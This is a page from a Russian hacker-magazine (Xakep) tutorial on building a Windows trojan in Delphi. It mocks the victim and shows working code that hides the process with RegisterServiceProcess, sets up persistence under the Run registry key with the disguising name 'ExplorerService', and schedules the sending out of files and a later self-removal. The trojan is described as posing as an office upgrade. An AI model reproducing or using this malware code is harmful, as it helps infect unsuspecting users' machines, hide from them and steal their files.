|

Рождение дьявола
Xakep, номер #016, стр. 016-058-2
procedure RegisterServiceProcess; external 'kernel32.dll' name 'RegisterServiceProcess';
procedure Hide; assembler;
asm
push 1
push 0
call RegisterServiceProcess;
end;
Вышел. Живой. Подал голос.
Представим себе, что троян уже на машине бедного несчастного (людям со слабой нервной системой дальше не читать) ;-) ламера. Первым делом он его запускает (а он, например, что-нибудь в ответ показывает или делает вид, что он - новый супер-пупер апгрейд к офису-2000) и... а дальше троян должен что-то предпринять, чтобы он запускался после каждой перезагрузки машины. Можно, конечно, добавить трояна в папку Автозагрузка, но это ж сразу в глаза бросится - и конечно, есть способ лучше! На наше счастье, программисты виндовзы спроектировали систему очень удобно с точки зрения троянописателей - в системном реестре существуют специальные разделы, посвященные спискам программ, которые должны запускать до старта основных модулей системы, после них и вместо них.
Воспользуемся объектом TRegistry для этих целей:
Reg:=TRegistry.Create;
with Reg do
begin
if OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', True) then
begin
Str:=ReadString('ExplorerService');
if Str <> ParamStr(0) then WriteString('ExplorerService', ParamStr(0));
CloseKey;
OpenKey('SOFTWARE\mmuser', True);
try
if StrToDate(ReadString('DateResolve')) > Now then
begin
Send:=True;
WriteString('DateResolve', DateToStr(Now+30));
end
else
Send:=False;
if StrToDate(ReadString('DateExpiration')) <= Now then
Xapakipi:=True
else
Xapakipi:=False;
except
WriteString('DateResolve', DateToStr(Now));
WriteString('DateExpiration', DateToStr(Now+121));
end;
CloseKey;
end;
Из листинга видно, что для запуска себя после рестарта виндовза достаточно прописать путь к себе, любимому, в HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run. В него прописываем ключ с произвольным именем и содержанием = "путь_к_трояну". Попутно в первый раз дописываем свои параметры DateResolve, чтобы в следующий раз знать, когда нужно отсылать файлы.
Кроме DateResolve запишем и DateExpiration - дату, после которой нужно будет просто вырубиться, прибив свою тушку перед этим. Но как это сделать, если виндовз не дает доступа (удалять и перезаписывать) к файлу, из которого запущен? Можно сильно извращаться с разными параметрами или создавать BATники, но в данном случае гораздо проще сделать так:
Назад на стр. 016-058-1 Содержание Вперед на стр. 016-058-3
|